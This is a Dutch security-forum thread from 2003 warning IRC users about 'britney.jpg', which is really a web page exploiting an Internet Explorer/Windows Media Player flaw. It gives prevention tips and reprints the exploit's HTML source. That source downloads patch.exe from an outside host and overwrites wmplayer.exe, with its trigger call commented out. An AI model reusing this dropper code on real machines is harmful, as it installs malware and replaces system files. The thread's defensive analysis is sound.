Waarschuwing voor britney.jpg
Op het forum was er al een topic over geopend, maar het schijnt dat er nog steeds veel IRC gebruikers "verleid" worden om het bestand "britney.jpg" te openen. Het gaat hier echter om een Internet Explorer/Windows Media Player exploit die Windows systeem bestanden vervangt/delete. Meer informatie over deze gevaarlijke exploit is te vinden op deze, deze en deze pagina. Om besmetting met dit soort wormen te voorkomen geeft men de volgende tips:
-
target=_blank>Download the latest build to Microsoft VM to resolve the 'Microsoft VM ActiveX Component' vulnerability.
- Never click on URLs that are privatemessaged to you upon joining parting a channel. Messages with sexual content are often used to lure people to visit the URLs.
- Disable Windows Scripting Host (WSH) to prevent Visual Basic scripts (.VBS) from being processed
- http://www.sarc.com/avcenter/venc/data/win.script.hosting.html
- Do not perform $decode()-strings pasted in IRC, lot of worms use this technique to spread/generate themselves.
- Do not accept files from people you don't trust. Turn DCC-auto accept off with: /SREQ ASK
Hehe, je blijft lachen met MS....
En om de beheerders die de netwerkomgeving niet zo configureren dat gebruikers dat allemaal gewoon niet meer kunnen. Je laat gebruikers toch geen security beslissingen nemen: je mag hier niet op klikken, je mag zus niet doen... Alsof Annie van de Administratie daar wat van begrijpt..
--09:54:36-- http://www.angelfire.com/celeb2/picsx/britney.jpg
=> `britney.jpg'
Resolving www.angelfire.com... done.
Connecting to www.angelfire.com[209.202.218.12]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
09:54:37 ERROR 404: Not Found.[/FONT]
Blijkbaar hebben ze het ding weggehaald.
[FONT=courier new]$ wget http://www.angelfire.com/celeb2/picsx/britney.jpg
--09:54:36-- http://www.angelfire.com/celeb2/picsx/britney.jpg
=> `britney.jpg'
Resolving www.angelfire.com... done.
Connecting to http://www.angelfire.com[209.202.218.12]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
09:54:37 ERROR 404: Not Found.[/FONT]
Blijkbaar hebben ze het ding weggehaald.
Deze werkt beter:
wget http://gearbox.gearbolt.net/files/security/cap/britney.jpg
Het "gevaarlijke" stukje is eruit gecommentarieerd.
HTTP/1.1 200 OK
Date: Wed, 29 Oct 2003 15:30:54 GMT
Server: Apache/1.3.28 (Unix) mod_mono/0.5 PHP/4.3.3
Last-Modified: Mon, 27 Oct 2003 22:28:08 GMT
ETag: "1e4095-94b-3f9d9bf8"
Accept-Ranges: bytes
Content-Length: 2379
Connection: close
Content-Type: image/jpeg
<html> <textarea id="code" style="display:none;"> var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); location.href = "mms://"; </textarea> <img src="newbie.jpg"> <script language="javascript"> function preparecode(code) { result = ''; lines = code.split(/rn/); for (i=0;i<lines.length;i++) { line = lines; line = line.replace(/^s+/,""); line = line.replace(/s+$/,""); line = line.replace(/'/g,"'"); line = line.replace(/[]/g,"\"); line = line.replace(/[/]/g,"%2f"); if (line != '') { result += line +'rn'; } } return result; } function doit() { mycode = preparecode(document.all.code.value); myURL = "file:javascript:eval('" + mycode + "')"; window.open(myURL,"_media"); } window.open("error.php","_media"); // setTimeout("doit()", 5000); </script> </html>
Dat geeft het volgende resultaat:
HTTP/1.1 200 OK
Date: Wed, 29 Oct 2003 15:30:54 GMT
Server: Apache/1.3.28 (Unix) mod_mono/0.5 PHP/4.3.3
Last-Modified: Mon, 27 Oct 2003 22:28:08 GMT
ETag: "1e4095-94b-3f9d9bf8"
Accept-Ranges: bytes
Content-Length: 2379
Connection: close
Content-Type: image/jpeg
<html> <textarea id="code" style="display:none;"> var x = ne&#
....
("doit()", 5000); </script> </html>
Zeggeh.. doe eens rustig jongensss!! Mijn virusscanner slaat op tilt bij het openen van deze pagina.
Deze posting is gelocked. Reageren is niet meer mogelijk.
Junior DevOps Engineer
Certified Secure is op zoek naar een Junior DevOps Engineer. Deze functie is een stuk interessanter dan de term doet vermoeden! Om jou als potentiële nieuwe collega meteen te laten zien wat we doen hebben we speciaal voor jou een selectie gemaakt van een aantal leuke security challenges. Are you ready for a challenge?
Cybersecurity Trainer / Streamer
Toe aan een nieuwe nieuwe job waarmee je het verschil maakt? In de Certified Secure trainingen laat je deelnemers zien hoe actuele kwetsbaarheden structureel verholpen worden. Ook werk je actief mee aan de ontwikkeling van onze gamified security challenges. Bij het maken van challenges kom je telkens nieuwe technieken tegen, van Flutter tot GraphQL, van Elastic Search tot Kubernetes.
